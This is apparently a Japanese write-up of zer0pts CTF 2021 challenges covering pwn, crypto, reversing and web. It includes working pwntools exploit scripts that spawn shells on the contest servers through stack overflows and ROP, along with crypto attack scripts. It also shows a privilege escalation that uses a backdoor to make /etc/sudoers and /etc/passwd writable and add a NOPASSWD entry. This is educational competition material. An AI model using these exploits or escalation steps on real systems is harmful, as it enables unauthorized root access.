zer0pts CTF 2021 write-up

57位。難しくて全然解けなかった。が、問題は面白い。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/f3664b2b-c3e5-2505-d2ae-2a8b598f1885.png)

公式write-up集？

[zer0pts CTF 2021 Writeups \- HackMD](https://hackmd.io/@ptr-yudai/B1bk04fmu)

### Welcome (welcome)

`zer0pts{1375_4v0id_3nding_wi7h_zer0pts!}`

### Survey (survey)

`zer0pts{h0p3_u_3nj0y3d_zer0pts_CTF_2021!}`

### Not Beginner's Stack (pwn, warmup)

スタックバッファオーバーフローの丁寧な解説付き。

```c
void _start() {
  notvuln();
  exit();
}

void notvuln() {
  char buf[0x100];
  vuln();
  write("Data: ");
  read(stdin, buf, 0x100);
  return 0;
}

void vuln() {
  char buf[0x100];
  write("Data: ");
  read(stdin, buf, 0x100);
  return 0;
}
```

こんな感じの処理。ただし、アセンブラで書かれていて、マクロを使ってリターンアドレスはスタックではなくbssに積んでいる。「バッファオーバフローはあるけれど、攻撃でないでしょ？」という主旨。

Saved rbpはスタックにあるので、そこを狙えば良い。`vuln`の読み込みでsaved rbpを書き換えると、`notvuln`でのrbpが変わるので、bssに積まれているリターンアドレスのアドレスにして、シェルコードのアドレスとシェルコードを書き込む。

```attack.py
from pwn import *

context.arch = "amd64"

s = remote("pwn.ctf.zer0pts.com", 9011)
s.sendafter("Data: ", b"x"*0x100+pack(0x600234+0x108))
s.sendafter("Data: ", pack(0x600234+0x10)+asm(shellcraft.sh()))
s.interactive()
```

```
$ python3 attack.py
[+] Opening connection to pwn.ctf.zer0pts.com on port 9011: Done
[*] Switching to interactive mode
$ ls -al
total 20
drwxr-xr-x 1 root pwn  4096 Mar  5 06:25 .
drwxr-xr-x 1 root root 4096 Mar  5 06:25 ..
-r-xr-x--- 1 root pwn  1872 Mar  5 06:20 chall
-r--r----- 1 root pwn    56 Mar  5 06:20 flag-4c57150ed5cda2a8570c94eb5a9a5f9f.txt
-r-xr-x--- 1 root pwn    35 Mar  5 06:20 redir.sh
$ cat flag-4c57150ed5cda2a8570c94eb5a9a5f9f.txt
zer0pts{1nt3rm3d14t3_pwn3r5_l1k3_2_0v3rwr1t3_s4v3d_RBP}
```

`zer0pts{1nt3rm3d14t3_pwn3r5_l1k3_2_0v3rwr1t3_s4v3d_RBP}`

### infected (reversing, warmup)

渡されたELFファイルを解析すると、FUSEを使って/dev/backdoorを作っている。

```
echo "b4ckd00r:/path/to/file:nnn" > /dev/backdoor
```

で、/path/to/fileのパーミッションがnnnになる。8進数ではなく16進数なのでちょっと面倒。

フラグは/rootにあるというが、このバックドアはディレクトリのパーミッションは書き換えられない。

なら、/etc/sudoersを書き換えるか。このユーザーはsudoグループに最初から属していて、sudoersにsudoグループがいるものの`NOPASSWD`は付いていない。

```
/ $ echo "b4ckd00r:/etc/sudoers:438" > /dev/backdoor
echo "b4ckd00r:/etc/sudoers:438" > /dev/backdoor
/ $ echo "%sudo ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "%sudo ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
/ $ sudo ls -al /root
sudo ls -al /root
sudo: you do not exist in the passwd database
```

/etc/passwdにいないとダメらしい。いないのか。

```
/ $ echo "b4ckd00r:/etc/passwd:438" > /dev/backdoor
echo "b4ckd00r:/etc/passwd:438" > /dev/backdoor
/ $ echo "user:x:1000:1000:user:/:/bin/sh" >> /etc/passwd
echo "user:x:1000:1000:user:/:/bin/sh" >> /etc/passwd
~ $ sudo ls -al /root
sudo ls -al /root
sudo: /etc/sudoers is world writable
sudo: no valid sudoers sources found, quitting
sudo: unable to initialize policy plugin
```

追加。/etc/sudoersがworld writableなのはダメらしい。そんなチェックがあったのか。

```
~ $ echo "b4ckd00r:/etc/sudoers:384" > /dev/backdoor
echo "b4ckd00r:/etc/sudoers:384" > /dev/backdoor
```

権限を戻す。

```
~ $ echo "b4ckd00r:/etc/sudoers:384" > /dev/backdoor
echo "b4ckd00r:/etc/sudoers:384" > /dev/backdoor
~ $ sudo ls -al /root
sudo ls -al /root
sudo: ls: command not found
~ $ sudo -s ls -al /root
sudo -s ls -al /root
total 4
drwx------    2 root     root             0 Mar  4 03:56 .
drwxr-xr-x   13 root     root             0 Mar  4 03:56 ..
-r--------    1 root     root            55 Mar  4 03:56 flag-b40d08b2f732b94d5ba34730c052d7e3.txt
~ $ sudo -s cat /root/flag-b40d08b2f732b94d5ba34730c052d7e3.txt
sudo -s cat /root/flag-b40d08b2f732b94d5ba34730c052d7e3.txt
zer0pts{exCUSE_m3_bu7_d0_u_m1nd_0p3n1ng_7h3_b4ckd00r?}
```

OK。

`zer0pts{exCUSE_m3_bu7_d0_u_m1nd_0p3n1ng_7h3_b4ckd00r?}`

### war(sa)mup (warmup, crypto)

> Do you know RSA? I know.

```task.py
 :
c1 = pow(m, e, n)
c2 = pow(m // 2, e, n)

print("n =", n)
print("e =", e)
print("c1=", c1)
print("c2=", c2)
```

`c2`に`2**e`を掛けると、`m//2*2`を暗号化した結果が得られることになる。フラグの末尾は`}`で下位ビットは1なので、`=m-1`。$m^e$と$(m-1)^e$が手に入ったので、互除法的なもので何とかなりそう。でも、整式の互除法とかどうやって良いのか分からん。

[SageMathを使ってCoppersmith's Attackをやってみる \- ももいろテクノロジー](http://inaz2.hatenablog.com/entry/2016/01/20/022936)

をコピペ。

```
┌────────────────────────────────────────────────────────────────────┐
│ SageMath version 8.6, Release Date: 2019-01-15                     │
│ Using Python 2.7.15. Type "help()" for help.                       │
└────────────────────────────────────────────────────────────────────┘
sage: n = 113135121314210337963205879392132245927891839184264376753001919135175107917692925687745642532400388405294058068119159052072165971868084999879938794441059047830758789602416617241611903275905693635535414333219575299357763227902178212895661490423647330568988131820052060534245914478223222846644042189866538583089
sage: e = 1337
sage: c1= 89077537464844217317838714274752275745737299140754457809311043026310485657525465380612019060271624958745477080123105341040804682893638929826256518881725504468857309066477953222053834586118046524148078925441309323863670353080908506037906892365564379678072687516738199061826782744188465569562164042809701387515
sage: c2= 18316499600532548540200088385321489533551929653850367414045951501351666430044325649693237350325761799191454032916563398349042002392547617043109953849020374952672554986583214658990393359680155263435896743098100256476711085394564818470798155739552647869415576747325109152123993105242982918456613831667423815762
sage: PRx.<x> = PolynomialRing(Zmod(n))
sage: g1 = x^e - c1
sage: g2 = (x-1)^e - c2*2^e
sage: def gcd(g1, g2):
....:     while g2:
....:         g1, g2 = g2, g1%g2
....:     return g1.monic()
....:
sage: m =  -gcd(g1, g2)[0]
....:
sage: ("0%x"%m).decode("hex")
'\x02\x81\xae\xed \xdd\x07\x12;\x99\xc7d:\x99\x1a8\x16\xfe\xe6<\x18\x1dw\xea&\xfb\xfc\x8a\xa7\xa8\xba\xfa\xd8\xbe\xdf\x01\x13\xcb\xd3\x99\x9c\xf3_\x18qw\xb99}\'Q\xd7~\x03&^\xcd\x9aw\xf0\xef\xb5\x04\x1b\xb7\n\xe1\xcd"\x95ff]\x0c(H\x99\xb5\xed\xc3\x82\x9dl\xe4\x8c\xddx\xfd\x00zer0pts{y0u_g07_47_13457_0v3r_1_p0in7}'
sage:
```

`zer0pts{y0u_g07_47_13457_0v3r_1_p0in7}`

### OT or NOT OT (crypto)

```task.py
 :
signal.alarm(600)
while key > 0:
    r = random.randint(2, p-1)
    s = random.randint(2, p-1)
    t = random.randint(2, p-1)
    print("t = {}".format(t))

    a = int(input("a = ")) % p
    b = int(input("b = ")) % p
    c = int(input("c = ")) % p
    d = int(input("d = ")) % p
    assert all([a > 1 , b > 1 , c > 1 , d > 1])
    assert len(set([a,b,c,d])) == 4

    u = pow(a, r, p) * pow(c, s, p) % p
    v = pow(b, r, p) * pow(c, s, p) % p
    x = u ^ (key & 1)
    y = v ^ ((key >> 1) & 1)
    z = pow(d, r, p) * pow(t, s, p) % p

    key = key >> 2

    print("x = {}".format(x))
    print("y = {}".format(y))
    print("z = {}".format(z))
```

こんな感じ。`p`は与えられる。`key`を求められれば良い。

```math
u = a^r c^s \\
v = b^r c^s \\
z = d^r t^s
```

で、$t$に対して、$a$, $b$, $c$, $d$を指定して、$u$と$v$がこの値になっているのか下位1ビットが反転しているのかを判定しろという問題。

もし、$\sqrt t$が求められるのならば、$c=\sqrt t$, $d=ab$とすれば、$uv=z$が成り立つかどうかで判定できる。「離散対数だから無理でしょ？」と思ってしまうが、$p$が$4k+3$の形で$c^2=t$となる$c$が存在するならば、簡単に求められる。$c=t^{(p+1)/4}$。平方剰余。$4k+1$でも頑張れば何とかなるらしいが、それは$4k+3$を引くまでガチャれば良い。

あとは$t$が平方剰余ではない場合。こちらはガチャるわけにはいかない。適当な数$t_2$を掛ければ平方剰余になるけれど、$(t  t_2)^s=t^s t_2^s$なので、$t_2^s$が手元で求められないといけない。-1ならば、何乗されても1か-1なので都合が良い。

```attack.py
from pwn import *
from base64 import *
from Crypto.Util.number import *
from Crypto.Cipher import AES

s = remote("crypto.ctf.zer0pts.com", 10130)

def read(p):
  s.recvuntil(p)
  return s.recvuntil("\n")[:-1]
  
flag_enc = read("Encrypted flag: ")
print("flag_enc", flag_enc.decode())
p = int(read("p = "))
print("p", p)
keylen = int(read("key.bit_length() = "))
print("len", keylen)

assert p%4==3
assert pow(p-1, (p-1)//2, p)!=1 # always true?

key = 0
for i in range(0, keylen, 2):
  print(i)
  t = int(read("t = "))
  if pow(t, (p-1)//2, p)==1:
    t2 = 1
  else:
    t2 = p-1
  a = 2
  b = 3
  c = pow(t*t2, (p+1)//4, p)
  d = a*b
  s.sendlineafter("a = ", str(a))
  s.sendlineafter("b = ", str(b))
  s.sendlineafter("c = ", str(c))
  s.sendlineafter("d = ", str(d))
  x = int(read("x = "))
  y = int(read("y = "))
  z = int(read("z = "))
  for du, dv in [(0, 0), (0, 1), (1, 0), (1, 1)]:
    u = x^du
    v = y^dv
    if u*v%p in (z*t2%p, z*t2*t2%p):
      break
  else:
    raise "!!!!"
  key |= du<<i
  key |= dv<<(i+1)
print("key", key)

flag_enc = b64decode(flag_enc)
iv = flag_enc[:16]
c = flag_enc[16:]
key = long_to_bytes(key)
aes = AES.new(key=key, mode=AES.MODE_CBC, iv=iv)
flag = aes.decrypt(c)
flag = flag[:-flag[-1]].decode()
print(flag)
```

```
$ python3 attack.py
[+] Opening connection to crypto.ctf.zer0pts.com on port 10130: Done
flag_enc EoTFeP750KwCwOReQk67RUr+tKyl1SHwPoPqJF1poeq+eoMamkifNkLuuS6r4RPy
p 128356681560176798854901652817359881467037965042188744143889977746191572475549365917582971688212363459515121253292057907819579797666524294025767270987282424305388479049658321097922013310628156665941038525404924290752393704532436343173648465915805156822790507142463384609040703445069891047460450070613807492911
len 255
0
2
4
 :
250
252
254
key 42472033632551865643073693934421148909514038285271382474331629884140323654291
zer0pts{H41131uj4h_H41131uj4h}
```

`zer0pts{H41131uj4h_H41131uj4h}`

### syscall 777 (reversing)

解けなかった。

> Did you know system call number 777 in Linux works as a flag checker?

たしかに、`main`関数の中では`syscall(777, ...)`でフラグを検証している。

どうやっているのかと思ったら、`__attribute__((constructor))`の中で、`prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, ...)`を読んでいた。本来は定数名のようにフィルタ用だと思うのだけど、ちょっとしたプログラミング言語になっている。だからジャンルreversingか。

[LinuxのBPF : \(2\) seccompでの利用 \- 睡分不足](https://mmi.hatenablog.com/entry/2016/08/01/044000)

200ステップ以上あって、これを読むのはつらい……で諦め。

### Kantan Calc (web)

解けなかった。

```app.js
 :
app.get('/', function (req, res, next) {
  let output = '';
  const code = req.query.code + '';

  if (code && code.length < 30) {
    try {
      const result = vm.runInNewContext(`'use strict'; (function () { return ${code}; /* ${FLAG} */ })()`, Object.create(null), { timeout: 100 });
      output = result + '';
      if (output.includes('zer0pts')) {
        output = 'Error: please do not exfiltrate the flag';
      }
    } catch (e) {
      output = 'Error: error occurred';
    }
  } else {
    output = 'Error: invalid code';
  }
 :
```

`{toString: ...}`とかで`'use strict'`の外で関数を実行すれば何とかならないかなと思ったけど、`}`で関数を分割するのだそうで。その発想は無かった。

### janken vs yoshiking (crypto)

解けなかった。

解説を見たら、「なるほど、だからジャンケンなのか」となって面白かった。OT or NOT OTのついでにこっちももっと考えるべきだった。

[janken vs yoshiking \- zer0pts CTF 2021 \- HackMD](https://hackmd.io/@theoldmoon0602/r1cMHWCzd)

### safe vector (pwn)

解けなかった。

```main.cpp
 :
template<typename T>
class safe_vector: public std::vector<T> {
public:
  void wipe() {
    std::vector<T>::resize(0);
    std::vector<T>::shrink_to_fit();
  }

  T& operator[](int index) {
    int size = std::vector<T>::size();
    if (size == 0) {
      throw "index out of bounds";
    }
    return std::vector<T>::operator[](index % size);
  }
};
 :
```

安全な`vector`。でも、`index`に負値を渡すと脆弱……までは良いけどここからどうしろと……。

### stopwatch (pwn)

こんな感じ。

```
$ nc pwn.ctf.zer0pts.com 9002
What is your name?
> @kusano_k
How many times do you want to try?
> 3
-=-=-=-= CHALLENGE 001 =-=-=-=-
Time[sec]: 10
Stop the timer as close to 10.000000 seconds as possible!
Press ENTER to start / stop the timer.

Timer started.

Timer stopped.
Faster by 9.320192 sec!
Too lazy. Try harder!
Play again? (Y/n) y
-=-=-=-= CHALLENGE 002 =-=-=-=-
Time[sec]: 1
Stop the timer as close to 1.000000 seconds as possible!
Press ENTER to start / stop the timer.

Timer started.

Timer stopped.
Slower by 0.983430 sec!
Too lazy. Try harder!
Play again? (Y/n) y
-=-=-=-= CHALLENGE 003 =-=-=-=-
Time[sec]: 3
Stop the timer as close to 3.000000 seconds as possible!
Press ENTER to start / stop the timer.

Timer started.

Timer stopped.
Faster by 2.815967 sec!
Too lazy. Try harder!
-=-=-=-= RESULT =-=-=-=-
Name: @kusano_k
Best Score: 0.983430
```

名前と`Play again?`の入力にスタックバッファオーバーフローの脆弱性がある。でも、`Stack: Canary found`。

各回のスコアを保存する配列を`alloca`で確保しているのと、目標時間の`scanf`で返り値をチェックしていないのとで、回数を良い感じにして時間に数値以外を入力すると、カナリアが目標時間に表われる。

```
$ nc pwn.ctf.zer0pts.com 9002
What is your name?
> a
How many times do you want to try?
> 16
-=-=-=-= CHALLENGE 001 =-=-=-=-
Time[sec]: x
Stop the timer as close to -345352268267297466880070528023310992156124890569050800018846631142763377651482787465265132371399450421751306388815486580010160262797770428133046737291733269963872453294479138536890410159182977929233114386640797201072128.000000 seconds as possible!
Press ENTER to start / stop the timer.
```

あとは普通にスタックバッファオーバーフロー。GOTのアドレスが0x6020xxに割り当てられていて、入力が`scanf("%s", ...)`でスペース（0x20）で区切られてしまって0x20が入力できないのにハマった。ROPを作る位置にはスコアが（doubleで）入っているので、「え、正確な時間でEnterを押してROPを作らないといけないの！？」と思ったけど、そんなことはなかった。0x601ff0に`__libc_start_main`のアドレスがある。ありがとう、Partial RELRO。

```attack.py
from pwn import *
import struct

elf = ELF("chall")
context.binary = elf

s = remote("pwn.ctf.zer0pts.com", 9002)

s.sendlineafter("> ", "x")
s.sendlineafter("> ", "16")
s.sendlineafter("Time[sec]: ", "x")
s.recvuntil("Stop the timer as close to ")
t = s.recvuntil(" ")[:-1]
canary = struct.pack("<d", float(t))
print("canary:", canary)

s.send("\n\n")

rop = ROP(elf)
rop.puts(elf.got.__libc_start_main)
rop.ask_again()
s.sendlineafter("Play again? (Y/n) ",
  b"n"*0x18 +
  canary +
  pack(0) +
  rop.chain())

start_main = unpack(s.recvline()[:-1].ljust(8, b"\0"))
print("start_main: %x"%start_main)

libc = ELF("libc.so.6")
libc.address = start_main - libc.symbols.__libc_start_main

rop = ROP(libc)
rop.execv(next(libc.search(b"/bin/sh")), 0)
s.sendlineafter("Play again? (Y/n) ",
  b"n"*0x18 +
  canary +
  pack(0) +
  rop.chain())

s.interactive()
```

```
$ python3 attack.py
[*] '/mnt/d/documents/ctf/zer0ptsCTF2021/stopwatch/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to pwn.ctf.zer0pts.com on port 9002: Done
canary: b'\x00\x18j+\xbc[\x12S'
[*] Loaded 14 cached gadgets for 'chall'
start_main: 7fcc55fa3b10
[*] '/mnt/d/documents/ctf/zer0ptsCTF2021/stopwatch/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 197 cached gadgets for 'libc.so.6'
[*] Switching to interactive mode
$ ls -al
total 32
drwxr-xr-x 1 root pwn   4096 Mar  5 06:26 .
drwxr-xr-x 1 root root  4096 Mar  5 06:26 ..
-r-xr-x--- 1 root pwn  13160 Mar  5 06:26 chall
-r--r----- 1 root pwn     58 Mar  5 06:26 flag-c4890394adc4342c08cf43bf7661678b.txt
-r-xr-x--- 1 root pwn     35 Mar  5 06:26 redir.sh
$ cat flag-c4890394adc4342c08cf43bf7661678b.txt
zer0pts{l34k_fr0m_pr3c1s3ly-al1gn3d_un1n1t14l1z3d_buff3r}
```

`zer0pts{l34k_fr0m_pr3c1s3ly-al1gn3d_un1n1t14l1z3d_buff3r}`

これ、正解者が22人しかいないの謎だ。

### GuestFS:AFR (web, warmup)

解けなかった。

正解者15人。warmupとは。

自分専用のディレクトリにファイルを作って読み書きしたり、シンボリックリンクを作ったりできる。仮想的なものではなく、実際にマシン上の特定のディレクトリにファイルが置かれる。シンボリックリンクのリンク先が`/`始まりだったり、`..`を含んでいたりしたら弾かれる。

```fs.php
 :
            /* Create a symbolic link */
            @symlink($target, $this->root.$name);

            /* This check ensures $target points to inside user-space */
            try {
                $this->validate_filepath(@readlink($this->root.$name));
            } catch(Exception $e) {
                /* Revert changes */
                @unlink($this->root.$name);
                throw $e;
            }
 :
```

作ってから消すまでの間に読めば良いのかなぁ。でもネット越しにこのタイミングは厳しいなぁと思いつつ、試してみたけどやっぱりダメだった。

Discordを見るとこの方法でも解けたらしい。ただ、読むのとシンボリックリンクの作成だけではなく書き込みも同時にしている。どういう理屈で上手く行くのだろう。

作問者解説。なるほど。

[GuestFS:AFR \- zer0pts CTF 2021 \- HackMD](https://hackmd.io/@st98/SJPlajJ7O)